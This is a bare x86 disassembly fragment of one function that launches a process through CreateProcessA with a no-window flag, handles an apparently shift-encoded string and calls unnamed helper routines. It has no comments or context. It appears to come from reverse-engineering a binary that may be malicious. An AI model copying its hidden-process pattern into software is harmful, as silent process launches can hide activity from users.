lea edx, [esp + 0x108]
push edx
push eax
push 0
push 0xc000000
push 0
push 0
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
mov eax, dword [esp + 0x74]
push eax
call edi
mov ecx, dword [esp + 0x78]
push ecx
call edi
test esi, esi
jne 0x42ab80
mov eax, dword [esp + 0x1c4]
mov edi, 0x10
cmp dword [esp + 0x1d8], edi
jae 0x42aa52
lea eax, [esp + 0x1c4]
push eax
lea edx, [esp + 0x4c]
push edx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x1f
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], 0
push str.6WRUH
mov byte [ecx + 4], 0
call fcn.00402f50
lea esi, [esp + 0x170]
call fcn.004014e0
mov byte [esp + 0x1f4], 0x28
call fcn.00401900
mov byte [esp + 0x1f0], 0x29
cmp dword [eax + 0x18], edi
jb 0x42aaaa
mov eax, dword [eax + 4]
jmp 0x42aaad
add eax, 4
push eax
mov eax, dword [esp + 0x24]
push 1
push eax
call fcn.0041da70
add esp, 0x10
lea ecx, [esp + 0x48]
call fcn.004029a0
lea esi, [esp + 0x14c]
mov byte [esp + 0x1ec], 0x27
call fcn.004037a0
push ebx
mov eax, ebp
call fcn.0042b950
cmp dword [eax + 0x18], edi
jb 0x42aaec
mov eax, dword [eax + 4]
jmp 0x42aaef
add eax, 4
push eax
lea ecx, [esp + 0x4c]
push ecx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 2
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], 0
push 0x457aa0
mov byte [ecx + 4], 0
call fcn.00402f50
lea esi, [esp + 0x170]
call fcn.004014e0
mov byte [esp + 0x1f4], 0x2a
call fcn.004015b0
mov byte [esp + 0x1f0], 0x2b
cmp dword [eax + 0x18], edi
jb 0x42ab47
mov eax, dword [eax + 4]
jmp 0x42ab4a
add eax, 4
mov edx, dword [esp + 0x20]
push eax
push 2
push edx
call fcn.0041da70
add esp, 0x10
lea ecx, [esp + 0x48]
call fcn.004029a0
lea esi, [esp + 0x14c]
call fcn.004037a0
lea ecx, [esp + 0x1c0]
call fcn.004029a0
jmp 0x42a334
lea ecx, [esp + 0x1c0]
call fcn.004029a0
lea ecx, [esp + 0x1f8]
call fcn.004029a0
lea ecx, [esp + 0x214]
call fcn.004029a0
lea ecx, [esp + 0x230]
call fcn.004029a0
lea ecx, [esp + 0x24c]
call fcn.004029a0
xor eax, eax
mov ecx, dword [esp + 0x1e4]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x1c8]
xor ecx, esp
call fcn.00439641
add esp, 0x1dc
ret 0x74